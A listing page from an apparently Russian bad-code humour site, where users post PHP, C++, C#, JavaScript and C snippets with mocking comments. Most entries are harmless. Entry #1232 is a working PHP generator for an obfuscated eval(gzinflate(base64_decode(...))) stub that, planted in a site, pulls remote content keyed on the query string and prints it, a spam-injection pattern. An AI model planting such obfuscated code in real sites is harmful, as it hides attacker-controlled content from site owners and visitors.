1. Лучший говнокод

    В номинации:
    За время:
  2. PHP / Говнокод #1232

    +144.3

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    function getFileCode() {
        $url = "\$u=str_replace('%%KW%%', strtolower(\$_SERVER['QUERY_STRING']), '" . getConfigURL() . "')";
        $ind = "\$i=str_replace('%%KW%%', 'index', '" . getConfigURL() . "')";
    
        return "<?php eval(gzinflate(base64_decode('" . base64_encode(gzdeflate("$url;$ind;\$c=stream_context_create(array('http'=>array('timeout'=>3)));\$p=@file_get_contents(\$u,false,\$c);if(!\$p||(strpos(\$p,'404')!==false)){\$p=@file_get_contents(\$i,false,\$c);}echo \$p;")) . "'))); ?>";
    }

    guest, 20 Июня 2009

    Комментарии (0)
  3. PHP / Говнокод #1127

    +144.3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    $sub_total = $cost + $vvcost;
    							
    						if($pickup_date[1] == 01) {
    							$pcentage = -15/100;
    							$sub_total2 = $sub_total * $pcentage;
    							$total = $sub_total + $sub_total2;
    						}
    						if($pickup_date[1] == 02) {
    							$pcentage = -110/100;
    							$sub_total2 = $sub_total * $pcentage;
    							$total = $sub_total + $sub_total2;
    						}
    						if($pickup_date[1] == 03) {
    							$pcentage = -5/100;
    							$sub_total2 = $sub_total * $pcentage;
    							$total = $sub_total + $sub_total2;}
    							if($$pickup_date[1] == 04) {
    								$pcentage = 5/100;
    								$sub_total2 = $sub_total * $pcentage;
    								$total = $sub_total + $sub_total2;}
    								if($pickup_date[1] == 05) {
    									$pcentage = 10/100;
    									$sub_total2 = $sub_total * $pcentage;
    									$total = $sub_total + $sub_total2;}
    									if($pickup_date[1] ==06) {
    										$pcentage = 12.5/100;
    										$sub_total2 = $sub_total * $pcentage;
    										$total = $sub_total + $sub_total2;}
    										if($pickup_date[1] ==07) {
    											$pcentage = 12.5/100;
    											$sub_total2 = $sub_total * $pcentage;
    											$total = $sub_total + $sub_total2;}
    											if($pickup_date[1] == 08) {
    												$total = $sub_total;}
    												if($pickup_date[1] ==09) {
    													$total = $sub_total;}
    													if($pickup_date[1] ==10) {
    														$pcentage = -5/100;
    														$sub_total2 = $sub_total * $pcentage;
    														$total = $sub_total + $sub_total2;}
    														if($pickup_date[1] ==11) {
    															$pcentage = -5/100;
    															$sub_total2 = $sub_total * $pcentage;
    															$total = $sub_total + $sub_total2;}
    															if($pickup_date[1] ==12) {
    
    																$total = $sub_total2 ;}

    пипец

    guest, 02 Июня 2009

    Комментарии (0)
  4. PHP / Говнокод #770

    +144.3

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    $row=mysql_fetch_array($res);
    $tr1=date("H:i",strtotime($row[0]));
    $nr1=$row[1];
    $row=mysql_fetch_array($res);
    $tr2=date("H:i",strtotime($row[0]));
    $nr2=$row[1];

    НУ И зачем нужен цикл???

    guest, 25 Марта 2009

    Комментарии (6)
  5. PHP / Говнокод #694

    +144.3

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    // в посредине кода сайта http://mdist.metallizdeliya.ru/en/info/programmes/academic_programmes/introduction.html 
    <meta content="Word.Document" name="ProgId">
    <meta content="Microsoft Word 12" name="Generator">
    <meta content="Microsoft Word 12" name="Originator">
    
    <link href="file:///C:%5CUsers%5Cgeneral%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_filelist.xml" rel="File-List" />
    <link href="file:///C:%5CUsers%5Cgeneral%5CAppData%5CLocal%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_themedata.thmx" rel="themeData" />

    Из кода сайта http://mdist.metallizdeliya.ru/en/info/programmes/academic_programmes/introduction.html

    guest, 11 Марта 2009

    Комментарии (4)
  6. PHP / Говнокод #3007

    +144.2

    1. 1
    2. 2
    3. 3
    4. 4
    if ($result)
        return true;
    else
        return false;

    Вот это да...

    Umnik, 14 Апреля 2010

    Комментарии (17)
  7. PHP / Говнокод #2548

    +144.2

    1. 1
    2. 2
    $yii=dirname(__FILE__).'/protected/yii/framework/yiilite.php';
        //$yii=dirname(__FILE__).'/protected/yii/framework/yiilite.php';

    user654321, 05 Февраля 2010

    Комментарии (6)
  8. C++ / Говнокод #2492

    +144.2

    1. 1
    i+=i+++i--;

    Access denied!!!

    Говногость, 27 Января 2010

    Комментарии (10)
  9. C# / Говнокод #2414

    +144.2

    1. 1
    if ( strlen(f.ToString()) < 5 )

    Проверку булевской переменной.

    Говногость, 14 Января 2010

    Комментарии (9)
  10. JavaScript / Говнокод #2034

    +144.1

    1. 1
    2. 2
    3. 3
    while(false){
        alert('Привет')
    }

    no comments

    Infamous, 24 Октября 2009

    Комментарии (4)
  11. Си / Говнокод #1343

    +144.1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    #ifdef TYPE_A
    #define LEN 10
    #else
    #define LEN_9 9
    #endif
    
    #ifdef TYPE_A
    char str[LEN + 20];
    #else
    char str[LEN_9 + 20];
    #endif

    Макросня

    guest, 09 Июля 2009

    Комментарии (2)